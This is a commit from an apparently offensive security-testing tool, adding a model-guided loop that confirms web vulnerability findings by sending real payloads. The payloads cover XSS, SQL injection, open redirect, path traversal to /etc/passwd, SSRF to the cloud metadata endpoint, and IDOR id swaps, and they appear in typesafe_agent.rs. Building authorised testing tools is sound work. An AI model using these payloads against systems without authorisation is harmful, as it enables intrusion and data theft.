feat(typesafe): confirmation-loop agent + --typesafe flag (on/off/auto) for A/B

TypeSafe cannot BE an LLM agent — System One does not generate text or call
tools. But it can be the decision brain of a code-owned confirmation loop, and
that is what typesafe_agent.rs is: an ADDITIONAL confirmation strategy.

typesafe_agent.rs — for enumerable classes (XSS, SQLi, open-redirect, path
traversal, SSRF, IDOR): code lists candidate payloads, a TypeSafe Choice picks
the next one given what's been tried, the replay engine sends it for real, a
TypeSafe Noul judges the response, loop until confirmed or exhausted. Edge/WAF
answers are refused. Pure parts (class table, payload templating, id-swap, OAST
substitution, query encoding) are unit-tested; the networked loop is integration.

Wired as a pipeline pass that runs ONLY on findings the LLM path left
unconfirmed or in needs-review (the recall lever) — it can raise a finding to
confirmed with a calibrated probability, never downgrades (the deterministic
layer owns that).

--typesafe on|off|auto (global flag) resolves into the env the pipeline reads,
governing adjudication, CVSS re-grade, agent pruning and this loop together.
`off` runs the identical pipeline without TypeSafe; meta.json records
"typesafe": true|false so a with/without pair is a clean A/B measurement. Web
console gets the same toggle.

381 tests.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
CyberSecurityUPandClaude Opus 5 committed 2026-09-19 18:15:10 -03:00
1 parent 48c38d4798
commit 8e84656f4f
8 files changed
+475

No files matched your search

+13
View File
@@ -540,6 +540,19 @@ Disable with `NEUROSPLOIT_TYPESAFE=off`. This is the RLCD (Reinforcement
Learning for Calibrated Decisions) tier of the model stack — typed judgments Learning for Calibrated Decisions) tier of the model stack — typed judgments
where the harness needs a number, not a paragraph. where the harness needs a number, not a paragraph.
**As an additional confirmation strategy** (`typesafe_agent`), a code-owned loop
where TypeSafe picks the next payload (`Choice`) and judges the real response
(`Noul`) over the replay engine — for enumerable classes (XSS, SQLi, open
redirect, path traversal, SSRF, IDOR). It runs only on findings the LLM path
left unconfirmed or in needs-review (the recall lever), can only raise a finding
to confirmed with a calibrated probability, never downgrades, and refuses edge
(WAF) responses. It is **not** a discovery agent — System One does not generate.
**Flag & A/B.** `--typesafe on|off|auto` (default auto = on when the key is set).
`off` runs the *identical* pipeline without it, and the run's `meta.json` records
`"typesafe": true|false` — so a with/without pair against the same target is a
clean measurement of what it adds.
### Scope-evasion resistance, evidence integrity, untrusted output ### Scope-evasion resistance, evidence integrity, untrusted output
Three hardening passes, all enforced in code: Three hardening passes, all enforced in code:
+15
View File
@@ -77,6 +77,11 @@ struct Cli {
/// uses the Kali image; give a value to override (e.g. --sandbox my/img). /// uses the Kali image; give a value to override (e.g. --sandbox my/img).
#[arg(long = "sandbox", global = true, num_args = 0..=1, default_missing_value = "")] #[arg(long = "sandbox", global = true, num_args = 0..=1, default_missing_value = "")]
sandbox: Option<String>, sandbox: Option<String>,
/// TypeSafe System One as an ADDITIONAL confirmation strategy: on · off ·
/// auto (default: auto = on when TYPESAFE_API_KEY is set). `off` runs the
/// exact same pipeline without it, so runs can be compared with/without.
#[arg(long = "typesafe", global = true)]
typesafe: Option<String>,
} }
#[derive(Subcommand)] #[derive(Subcommand)]
@@ -542,6 +547,16 @@ async fn main() -> anyhow::Result<()> {
let mut cli = Cli::parse(); let mut cli = Cli::parse();
let base = find_base(); let base = find_base();
// Resolve the TypeSafe mode into the env var the pipeline reads, so every
// run type (and the REPL) honours one control. `off` disables it entirely;
// `on`/`auto` leave it to key presence. This is what makes with/without
// TypeSafe an A/B a single flag flips.
match cli.typesafe.as_deref().map(|s| s.trim().to_lowercase()) {
Some(ref m) if m == "off" || m == "false" || m == "0" => std::env::set_var("NEUROSPLOIT_TYPESAFE", "off"),
Some(ref m) if m == "on" || m == "true" || m == "1" || m == "auto" => std::env::set_var("NEUROSPLOIT_TYPESAFE", "on"),
_ => {}
}
// No subcommand → launch the Claude-Code-style interactive session. // No subcommand → launch the Claude-Code-style interactive session.
let cmd = match cli.cmd.take() { let cmd = match cli.cmd.take() {
Some(c) => c, Some(c) => c,
+1
View File
@@ -48,6 +48,7 @@ pub mod taint;
pub mod transport; pub mod transport;
pub mod types; pub mod types;
pub mod typesafe; pub mod typesafe;
pub mod typesafe_agent;
pub mod uncertainty; pub mod uncertainty;
pub mod validation; pub mod validation;
pub mod waf; pub mod waf;
@@ -664,9 +664,14 @@ fn identify_asset(p: &crate::probe::Probe) -> String {
/// generator can name the asset and its stack instead of only the URL. /// generator can name the asset and its stack instead of only the URL.
fn write_meta(cfg: &RunConfig, p: &crate::probe::Probe, asset: &str) { fn write_meta(cfg: &RunConfig, p: &crate::probe::Probe, asset: &str) {
let Some(dir) = cfg.workdir.as_deref() else { return }; let Some(dir) = cfg.workdir.as_deref() else { return };
// Record whether TypeSafe was active, so a with/without pair is measurable
// from the artifacts alone.
let typesafe_on = std::env::var("NEUROSPLOIT_TYPESAFE").unwrap_or_default().trim().to_lowercase() != "off"
&& std::env::var("TYPESAFE_API_KEY").map(|k| !k.trim().is_empty()).unwrap_or(false);
let meta = serde_json::json!({ let meta = serde_json::json!({
"target": cfg.target, "asset": asset, "title": p.title, "brand": p.brand, "target": cfg.target, "asset": asset, "title": p.title, "brand": p.brand,
"tech": p.tech, "server": p.server, "status": p.status, "tech": p.tech, "server": p.server, "status": p.status,
"typesafe": typesafe_on,
}); });
if let Ok(j) = serde_json::to_string_pretty(&meta) { if let Ok(j) = serde_json::to_string_pretty(&meta) {
let _ = std::fs::write(format!("{}/meta.json", dir.trim_end_matches('/')), j); let _ = std::fs::write(format!("{}/meta.json", dir.trim_end_matches('/')), j);
@@ -2262,6 +2267,42 @@ async fn finish(cfg: RunConfig, _lib: &Library, pool: &ModelPool, recon: String,
// finding to needs-review. Off with NEUROSPLOIT_TYPESAFE=off. // finding to needs-review. Off with NEUROSPLOIT_TYPESAFE=off.
if std::env::var("NEUROSPLOIT_TYPESAFE").unwrap_or_default().trim().to_lowercase() != "off" { if std::env::var("NEUROSPLOIT_TYPESAFE").unwrap_or_default().trim().to_lowercase() != "off" {
if let Some(ts) = crate::typesafe::TypeSafe::from_env() { if let Some(ts) = crate::typesafe::TypeSafe::from_env() {
// Additional confirmation strategy: a code-owned loop where TypeSafe
// picks payloads and judges responses over the REAL replay engine.
// Applied to enumerable-class findings that are unconfirmed or in
// needs-review — the recall lever. A confirmation raises the
// finding to validated with a calibrated probability; it never
// downgrades (that is the deterministic layer's job).
let agent = crate::typesafe_agent::TypeSafeAgent::new(ts.clone(), crate::replay::ReplayEngine::new(effective_scope(&cfg)))
.with_oob(cfg.oob_domain.clone());
let mut confirmed_by_agent = 0usize;
for f in findings.iter_mut() {
let unconfirmed = !f.validated || f.review_status == "needs-review";
if unconfirmed && crate::typesafe_agent::handles(&f.cwe, &f.title) {
if let Some(c) = agent.confirm(f).await {
audit.append(
crate::audit::AuditRecord::new("typesafe-agent", "confirmation-loop", &f.endpoint)
.hypothesis(&f.id)
.decision(&format!("{}: {}", if c.confirmed { "confirm" } else { "inconclusive" }, c.detail))
.tool("typesafe:jev-latest")
.capability(&cap_id)
.result(&f.title),
);
if c.confirmed {
f.validated = true;
f.review_status = "confirmed".into();
f.confidence = f.confidence.max(c.probability);
if f.payload.trim().is_empty() { f.payload = c.payload.clone(); }
f.review_reason = format!("TypeSafe confirmation loop: {}", c.detail);
confirmed_by_agent += 1;
}
}
}
}
if confirmed_by_agent > 0 {
let _ = tx.send(format!("notify: 🧮 TypeSafe confirmation loop confirmed {confirmed_by_agent} finding(s) the LLM path left unconfirmed")).await;
}
let _ = tx.send("notify: 🧮 TypeSafe System One adjudicating findings…".to_string()).await; let _ = tx.send("notify: 🧮 TypeSafe System One adjudicating findings…".to_string()).await;
let mut refined = 0usize; let mut refined = 0usize;
for f in findings.iter_mut() { for f in findings.iter_mut() {
@@ -0,0 +1,393 @@
//! A confirmation agent driven by TypeSafe judgments instead of an LLM.
//!
//! This is not a discovery agent — it does not roam, read source, or invent new
//! attack surface. It is an *additional confirmation strategy*: given a finding
//! (or a lead) of an enumerable class, it runs a tight, code-owned loop where
//! TypeSafe supplies the decisions and the replay engine does the acting:
//!
//! ```text
//! code enumerates candidate payloads for the class
//! │
//! TypeSafe Choice — which candidate is most likely to confirm, given
//! │ what has been tried and observed so far?
//! replay engine sends it, records the real exchange
//! │
//! TypeSafe Noul — does THIS response demonstrate the class?
//! │
//! loop until confirmed, or the candidates run out
//! ```
//!
//! Why it exists: the LLM agents are strong at breadth and weak at calibrated
//! "did that actually work". A `testphp.vulnweb.com` run that returned zero
//! findings is the failure this addresses — a bounded, cheap, deterministic
//! second opinion that improves recall without inflating precision, because the
//! judgment is calibrated and the acting is real HTTP, not narrative.
//!
//! It is entirely optional and flag-gated (`--typesafe off` skips it), so a run
//! with it and a run without it are the same pipeline minus this pass — which is
//! exactly what makes the two comparable.
use crate::replay::{ReplayEngine, ReqSpec};
use crate::typesafe::{Question, TypeSafe};
use crate::types::Finding;
use serde::{Deserialize, Serialize};
use std::collections::BTreeMap;
/// A payload to try, and how it is delivered.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Candidate {
/// Short id shown to the Choice question.
pub id: String,
/// The payload string.
pub payload: String,
/// How it changes the request: a query param, a path suffix, a body.
pub delivery: Delivery,
/// One-line description for the Choice criteria.
pub note: String,
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum Delivery {
/// Append `?<param>=<payload>` (or set it if present).
Query(String),
/// Append the payload to the path.
PathSuffix,
/// Replace a numeric id segment in the path with the payload (IDOR).
IdSwap,
/// Send as the request body.
Body,
}
/// What a class needs: its candidate payloads and the two questions.
struct ClassSpec {
/// Human name.
name: &'static str,
/// The Noul question — does the response demonstrate the class?
judge: &'static str,
judge_yes: &'static str,
judge_no: &'static str,
}
/// The class table. Only enumerable classes — where code can list the
/// candidate payloads — belong here; open-ended discovery does not.
fn class_of(cwe: &str, title: &str) -> Option<(ClassSpec, Vec<Candidate>)> {
let n: u32 = cwe.chars().filter(|c| c.is_ascii_digit()).collect::<String>().parse().unwrap_or(0);
let t = title.to_lowercase();
let q = |name: &str| Delivery::Query(name.to_string());
let cand = |id: &str, payload: &str, delivery: Delivery, note: &str| Candidate {
id: id.into(), payload: payload.into(), delivery, note: note.into(),
};
if n == 79 || t.contains("xss") || t.contains("cross-site scripting") {
return Some((
ClassSpec { name: "reflected-xss", judge: "Given the response body, is the injected marker reflected UNENCODED in a place where it would execute as script (inside a tag, an event handler, or a script block) — not HTML-escaped and not only inside a text node?", judge_yes: "the marker appears unencoded in an executable position", judge_no: "the marker is escaped, encoded, or absent" },
vec![
cand("break-attr", "\"><svg onload=NSXSSMARK>", q("q"), "attribute break-out into an event handler"),
cand("script-tag", "<script>NSXSSMARK</script>", q("q"), "raw script tag"),
cand("js-ctx", "';NSXSSMARK//", q("q"), "break out of a JS string context"),
cand("img-onerror", "<img src=x onerror=NSXSSMARK>", q("search"), "img onerror handler"),
],
));
}
if n == 89 || t.contains("sql injection") || t.contains("sqli") {
return Some((
ClassSpec { name: "sqli", judge: "Comparing this response to a normal one, does it show a SQL error, or a boolean/row-count difference that indicates the payload altered the query (as opposed to being handled as ordinary input)?", judge_yes: "a SQL error or a query-altering difference is visible", judge_no: "the response is normal or the input was safely handled" },
vec![
cand("squote", "'", q("id"), "a single quote to trigger a syntax error"),
cand("or-true", "' OR '1'='1", q("id"), "always-true boolean"),
cand("and-false", "' AND '1'='2", q("id"), "always-false boolean (contrast)"),
cand("union", "' UNION SELECT NULL-- -", q("id"), "union probe"),
],
));
}
if n == 601 || t.contains("open redirect") {
return Some((
ClassSpec { name: "open-redirect", judge: "Does the response redirect (Location header or meta refresh) to the attacker host in the payload, rather than staying on the target's own host?", judge_yes: "it redirects off-site to the attacker host", judge_no: "it stays on-site or does not redirect" },
vec![
cand("scheme-rel", "//neurosploit.example", q("next"), "scheme-relative external"),
cand("abs-url", "https://neurosploit.example/", q("url"), "absolute external URL"),
cand("backslash", "/\\neurosploit.example", q("redirect"), "backslash bypass"),
cand("at-trick", "https://target@neurosploit.example", q("returnUrl"), "userinfo trick"),
],
));
}
if n == 22 || t.contains("path traversal") || t.contains("lfi") || t.contains("local file inclusion") {
return Some((
ClassSpec { name: "path-traversal", judge: "Does the response contain the contents of a system file (e.g. an /etc/passwd style `root:x:0:0` line, or a Windows hosts file), indicating the traversal reached the filesystem?", judge_yes: "system file contents are present", judge_no: "no file contents; a normal or error page" },
vec![
cand("etc-passwd", "../../../../etc/passwd", q("file"), "classic unix traversal"),
cand("encoded", "..%2f..%2f..%2f..%2fetc%2fpasswd", q("file"), "url-encoded traversal"),
cand("path-suffix", "../../../../etc/passwd", Delivery::PathSuffix, "traversal on the path itself"),
cand("win-hosts", "..\\..\\..\\..\\windows\\win.ini", q("file"), "windows traversal"),
],
));
}
if n == 918 || t.contains("ssrf") {
return Some((
ClassSpec { name: "ssrf", judge: "Does the response show that the server fetched the supplied URL (its body/metadata, a timing difference, or an error naming the internal host), as opposed to rejecting or ignoring it?", judge_yes: "the server fetched or tried to fetch the supplied URL", judge_no: "the URL was rejected, validated, or ignored" },
vec![
cand("oast", "http://NSOOBHOST/", q("url"), "an out-of-band URL under our control"),
cand("metadata", "http://169.254.169.254/latest/meta-data/", q("url"), "cloud metadata endpoint"),
cand("localhost", "http://127.0.0.1:80/", q("url"), "loopback"),
],
));
}
if n == 639 || t.contains("idor") || t.contains("bola") || t.contains("broken access control") {
return Some((
ClassSpec { name: "idor", judge: "Does the response return another user's object/data for the swapped identifier, rather than a 401/403/404 or an empty/own result?", judge_yes: "another user's data is returned for the swapped id", judge_no: "access is denied, empty, or only the caller's own data" },
vec![
cand("dec", "1", Delivery::IdSwap, "decrement to a neighbouring id"),
cand("inc", "2", Delivery::IdSwap, "increment to a neighbouring id"),
cand("zero", "0", Delivery::IdSwap, "the zero/first id"),
cand("admin", "1000", Delivery::IdSwap, "a low/admin-range id"),
],
));
}
None
}
/// Apply a candidate to the finding's endpoint, producing a concrete request.
///
/// Pure and testable: the delivery decides how the payload lands, and the OAST
/// placeholder is substituted with the real collaborator host when one exists.
pub fn build_request(endpoint: &str, cand: &Candidate, marker: &str, oob_host: Option<&str>) -> ReqSpec {
let payload = cand.payload
.replace("NSXSSMARK", marker)
.replace("NSOOBHOST", oob_host.unwrap_or("oob.invalid"));
match &cand.delivery {
Delivery::Query(param) => {
let sep = if endpoint.contains('?') { '&' } else { '?' };
ReqSpec::get(&format!("{endpoint}{sep}{param}={}", urlencode(&payload)))
}
Delivery::PathSuffix => {
let base = endpoint.trim_end_matches('/');
ReqSpec::get(&format!("{base}/{}", urlencode(&payload)))
}
Delivery::IdSwap => ReqSpec::get(&swap_id(endpoint, &payload)),
Delivery::Body => {
let mut r = ReqSpec { method: "POST".into(), url: endpoint.to_string(), ..Default::default() };
r.body = payload;
r
}
}
}
/// Replace the last numeric path segment with `id` (for IDOR).
fn swap_id(url: &str, id: &str) -> String {
let (base, query) = url.split_once('?').unwrap_or((url, ""));
let mut segs: Vec<String> = base.split('/').map(|s| s.to_string()).collect();
if let Some(pos) = segs.iter().rposition(|s| !s.is_empty() && s.chars().all(|c| c.is_ascii_digit())) {
segs[pos] = id.to_string();
}
let rebuilt = segs.join("/");
if query.is_empty() { rebuilt } else { format!("{rebuilt}?{query}") }
}
fn urlencode(s: &str) -> String {
s.bytes().map(|b| match b {
b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'_' | b'.' | b'~' => (b as char).to_string(),
_ => format!("%{b:02X}"),
}).collect()
}
/// The outcome of the confirmation loop.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Confirmation {
pub class: String,
/// Did the loop confirm the class?
pub confirmed: bool,
/// Calibrated probability from the deciding Noul (0..1).
pub probability: f64,
/// The payload that produced the strongest result.
pub payload: String,
/// How many candidates were tried.
pub rounds: usize,
pub detail: String,
}
/// The agent.
pub struct TypeSafeAgent {
ts: TypeSafe,
engine: ReplayEngine,
/// Confirm when the judging Noul clears this.
threshold: f64,
/// OAST host for SSRF candidates, when a collaborator is running.
oob_host: Option<String>,
}
impl TypeSafeAgent {
pub fn new(ts: TypeSafe, engine: ReplayEngine) -> Self {
TypeSafeAgent { ts, engine, threshold: 0.7, oob_host: None }
}
pub fn with_oob(mut self, host: Option<String>) -> Self {
self.oob_host = host;
self
}
/// Run the confirmation loop for one finding. Returns None for a class this
/// agent does not enumerate — the LLM path owns those.
pub async fn confirm(&self, f: &Finding) -> Option<Confirmation> {
let (spec, candidates) = class_of(&f.cwe, &f.title)?;
if f.endpoint.trim().is_empty() {
return None;
}
let marker = crate::validation::canary("nsxss");
let mut tried: Vec<(String, u16, f64)> = Vec::new(); // (id, status, judge_p)
let mut best: Option<Confirmation> = None;
for round in 0..candidates.len() {
// Ask TypeSafe which untried candidate is most promising, given the
// endpoint and what has happened so far.
let untried: Vec<&Candidate> = candidates.iter().filter(|c| !tried.iter().any(|(id, _, _)| id == &c.id)).collect();
if untried.is_empty() {
break;
}
let pick = self.choose(&spec, &f.endpoint, &untried, &tried).await.unwrap_or_else(|| untried[0].id.clone());
let Some(cand) = candidates.iter().find(|c| c.id == pick) else { continue };
let req = build_request(&f.endpoint, cand, &marker, self.oob_host.as_deref());
let ex = match self.engine.send(&req).await {
Ok(x) => x,
Err(_) => { tried.push((cand.id.clone(), 0, 0.0)); continue; }
};
// WAF/edge answers don't count as the application.
if !crate::waf::classify_exchange(&ex).origin.supports_a_finding() {
tried.push((cand.id.clone(), ex.status, 0.0));
continue;
}
let p = self.judge(&spec, &ex, &marker).await.unwrap_or(0.0);
tried.push((cand.id.clone(), ex.status, p));
let is_best = best.as_ref().map(|b| p > b.probability).unwrap_or(true);
if is_best {
best = Some(Confirmation {
class: spec.name.into(),
confirmed: p >= self.threshold,
probability: p,
payload: cand.payload.replace("NSXSSMARK", &marker),
rounds: round + 1,
detail: format!("{} confirmed at p={:.2} with candidate '{}'", spec.name, p, cand.id),
});
}
if p >= self.threshold {
break; // confirmed — stop early
}
}
best.map(|mut c| {
c.rounds = tried.len();
if !c.confirmed {
c.detail = format!("{} not confirmed — best p={:.2} over {} candidate(s)", spec.name, c.probability, tried.len());
}
c
})
}
async fn choose(&self, spec: &ClassSpec, endpoint: &str, untried: &[&Candidate], tried: &[(String, u16, f64)]) -> Option<String> {
let options: Vec<(&str, &str)> = untried.iter().map(|c| (c.id.as_str(), c.note.as_str())).collect();
let mut qs = BTreeMap::new();
qs.insert("pick".to_string(), Question::choice(
&format!("For a suspected {} on this endpoint, which candidate payload is most likely to CONFIRM it next, given what has already been tried?", spec.name),
&options,
));
let state = serde_json::json!({
"endpoint": endpoint,
"already_tried": tried.iter().map(|(id, st, p)| format!("{id}: HTTP {st}, judge p={p:.2}")).collect::<Vec<_>>(),
});
let answers = self.ts.evaluate(state, qs).await.ok()?;
answers.get("pick").and_then(|a| a.choice.clone())
}
async fn judge(&self, spec: &ClassSpec, ex: &crate::validation::Exchange, marker: &str) -> Option<f64> {
let mut qs = BTreeMap::new();
qs.insert("holds".to_string(), Question::noul(spec.judge, spec.judge_yes, spec.judge_no));
let state = serde_json::json!({
"marker": marker,
"status": ex.status,
"content_type": ex.content_type,
"location": ex.header("location"),
"body_snippet": ex.body.chars().take(2000).collect::<String>(),
});
let answers = self.ts.evaluate(state, qs).await.ok()?;
answers.get("holds").and_then(|a| a.noul)
}
}
/// Which classes this agent can attempt — used to decide whether to invoke it.
pub fn handles(cwe: &str, title: &str) -> bool {
class_of(cwe, title).is_some()
}
#[cfg(test)]
mod tests {
use super::*;
fn f(cwe: &str, endpoint: &str) -> Finding {
Finding { cwe: cwe.into(), endpoint: endpoint.into(), ..Default::default() }
}
#[test]
fn only_enumerable_classes_are_handled() {
assert!(handles("CWE-79", "Reflected XSS"));
assert!(handles("CWE-89", "SQLi"));
assert!(handles("CWE-601", "Open redirect"));
assert!(handles("CWE-22", "Path traversal"));
assert!(handles("CWE-918", "SSRF"));
assert!(handles("CWE-639", "IDOR"));
// Discovery-only / non-enumerable classes are left to the LLM path.
assert!(!handles("CWE-1021", "Clickjacking"));
assert!(!handles("CWE-319", "Cleartext"));
}
#[test]
fn class_falls_back_to_title_when_cwe_is_missing() {
assert!(handles("", "Reflected Cross-Site Scripting"));
assert!(handles("x", "Blind SQL injection"));
}
#[test]
fn query_delivery_appends_the_encoded_payload() {
let (_, cands) = class_of("CWE-79", "xss").unwrap();
let c = cands.iter().find(|c| c.id == "script-tag").unwrap();
let req = build_request("https://t.test/s", c, "MARK123", None);
assert!(req.url.contains("q="));
assert!(req.url.contains("MARK123"), "the marker is substituted: {}", req.url);
assert!(req.url.contains("%3Cscript%3E"), "the payload is url-encoded: {}", req.url);
}
#[test]
fn query_delivery_respects_an_existing_query_string() {
let (_, cands) = class_of("CWE-89", "sqli").unwrap();
let c = &cands[0];
let req = build_request("https://t.test/p?id=5", c, "M", None);
assert!(req.url.contains("?id=5&id="), "a second param is joined with &: {}", req.url);
}
#[test]
fn idor_swaps_the_last_numeric_segment() {
assert_eq!(swap_id("https://t.test/api/users/42", "1000"), "https://t.test/api/users/1000");
assert_eq!(swap_id("https://t.test/api/users/42?full=1", "0"), "https://t.test/api/users/0?full=1");
// No numeric segment → unchanged.
assert_eq!(swap_id("https://t.test/api/me", "1"), "https://t.test/api/me");
}
#[test]
fn ssrf_oob_host_is_substituted_when_present() {
let (_, cands) = class_of("CWE-918", "ssrf").unwrap();
let oast = cands.iter().find(|c| c.id == "oast").unwrap();
let with = build_request("https://t.test/fetch", oast, "M", Some("abc.oob.example.com"));
assert!(with.url.contains("abc.oob.example.com"), "{}", with.url);
let without = build_request("https://t.test/fetch", oast, "M", None);
assert!(without.url.contains("oob.invalid"));
}
#[test]
fn path_suffix_delivery_extends_the_path() {
let (_, cands) = class_of("CWE-22", "path traversal").unwrap();
let c = cands.iter().find(|c| matches!(c.delivery, Delivery::PathSuffix)).unwrap();
let req = build_request("https://t.test/download/", c, "M", None);
assert!(req.url.starts_with("https://t.test/download/"));
assert!(req.url.contains("etc") && req.url.contains("passwd"));
}
}
+2
View File
@@ -498,6 +498,7 @@ function renderReview() {
{ k: 'Intercept', v: $('#fieldIntercept').value === 'off' ? 'direct' : $('#fieldIntercept').value }, { k: 'Intercept', v: $('#fieldIntercept').value === 'off' ? 'direct' : $('#fieldIntercept').value },
{ k: 'Sandbox', v: $('#fieldSandbox').value ? 'Kali container' : 'host' }, { k: 'Sandbox', v: $('#fieldSandbox').value ? 'Kali container' : 'host' },
{ k: 'PoC re-validation', v: $('#fieldRevalidatePoc').checked ? 'on' : 'off' }, { k: 'PoC re-validation', v: $('#fieldRevalidatePoc').checked ? 'on' : 'off' },
{ k: 'TypeSafe', v: $('#fieldTypesafe') ? $('#fieldTypesafe').value : 'auto' },
{ k: 'Compliance', v: (['fieldCompPci', 'fieldCompHipaa', 'fieldCompSoc2'].map((id) => $(`#${id}`).checked && $(`#${id}`).value).filter(Boolean).join(', ')) || 'none' }, { k: 'Compliance', v: (['fieldCompPci', 'fieldCompHipaa', 'fieldCompSoc2'].map((id) => $(`#${id}`).checked && $(`#${id}`).value).filter(Boolean).join(', ')) || 'none' },
{ k: 'Target auth', v: state.auth.header ? 'header set' : (state.auth.roles.length ? `${state.auth.roles.length} role(s)` : 'none') }, { k: 'Target auth', v: state.auth.header ? 'header set' : (state.auth.roles.length ? `${state.auth.roles.length} role(s)` : 'none') },
]; ];
@@ -543,6 +544,7 @@ async function startExploitation() {
intercept: $('#fieldIntercept').value, intercept: $('#fieldIntercept').value,
sandbox: $('#fieldSandbox').value || undefined, sandbox: $('#fieldSandbox').value || undefined,
revalidatePoc: $('#fieldRevalidatePoc').checked, revalidatePoc: $('#fieldRevalidatePoc').checked,
typesafe: $('#fieldTypesafe') ? $('#fieldTypesafe').value : undefined,
compliance: ['fieldCompPci', 'fieldCompHipaa', 'fieldCompSoc2'].map((id) => $(`#${id}`).checked && $(`#${id}`).value).filter(Boolean), compliance: ['fieldCompPci', 'fieldCompHipaa', 'fieldCompSoc2'].map((id) => $(`#${id}`).checked && $(`#${id}`).value).filter(Boolean),
tokenLimit: Number($('#fieldTokenLimit').value) || undefined, tokenLimit: Number($('#fieldTokenLimit').value) || undefined,
order: $('#fieldOrder').value, order: $('#fieldOrder').value,
+8
View File
@@ -269,6 +269,14 @@
<div class="field-group"><label class="field-label">PoC re-validation</label> <div class="field-group"><label class="field-label">PoC re-validation</label>
<div class="check-row"><input type="checkbox" id="fieldRevalidatePoc" /> <label for="fieldRevalidatePoc">Re-run every PoC; demote what no longer reproduces</label></div> <div class="check-row"><input type="checkbox" id="fieldRevalidatePoc" /> <label for="fieldRevalidatePoc">Re-run every PoC; demote what no longer reproduces</label></div>
</div> </div>
<div class="field-group"><label class="field-label" for="fieldTypesafe">TypeSafe (System One)</label>
<select class="narrow" id="fieldTypesafe">
<option value="auto" selected>auto — on if TYPESAFE_API_KEY set</option>
<option value="on">on — calibrated confirmation + adjudication</option>
<option value="off">off — same pipeline, no TypeSafe (for A/B)</option>
</select>
<div class="field-help">Additional confirmation strategy (Choice/Noul over real replays). Off runs the identical pipeline so you can compare with/without.</div>
</div>
</div> </div>
<div class="field-group"> <div class="field-group">
<label class="field-label">Compliance mapping</label> <label class="field-label">Compliance mapping</label>
+2
View File
@@ -646,6 +646,7 @@ function buildArgs(body) {
if (body.oobHttp) args.push('--oob-http', body.oobHttp); if (body.oobHttp) args.push('--oob-http', body.oobHttp);
if (body.oobDns) args.push('--oob-dns', body.oobDns); if (body.oobDns) args.push('--oob-dns', body.oobDns);
if (body.sms) args.push('--sms', body.sms); if (body.sms) args.push('--sms', body.sms);
if (body.typesafe) args.push('--typesafe', body.typesafe);
if (body.intercept && body.intercept !== 'off') args.push('--intercept', body.intercept); if (body.intercept && body.intercept !== 'off') args.push('--intercept', body.intercept);
if (body.sandbox) args.push('--sandbox', body.sandbox === 'default' ? '' : body.sandbox); if (body.sandbox) args.push('--sandbox', body.sandbox === 'default' ? '' : body.sandbox);
if (body.revalidatePoc) args.push('--revalidate-poc'); if (body.revalidatePoc) args.push('--revalidate-poc');
@@ -722,6 +723,7 @@ function authArgs(body) {
if (body.oobHttp) args.push('--oob-http', body.oobHttp); if (body.oobHttp) args.push('--oob-http', body.oobHttp);
if (body.oobDns) args.push('--oob-dns', body.oobDns); if (body.oobDns) args.push('--oob-dns', body.oobDns);
if (body.sms) args.push('--sms', body.sms); if (body.sms) args.push('--sms', body.sms);
if (body.typesafe) args.push('--typesafe', body.typesafe);
if (body.intercept && body.intercept !== 'off') args.push('--intercept', body.intercept); if (body.intercept && body.intercept !== 'off') args.push('--intercept', body.intercept);
if (body.sandbox) args.push('--sandbox', body.sandbox === 'default' ? '' : body.sandbox); if (body.sandbox) args.push('--sandbox', body.sandbox === 'default' ? '' : body.sandbox);
if (body.revalidatePoc) args.push('--revalidate-poc'); if (body.revalidatePoc) args.push('--revalidate-poc');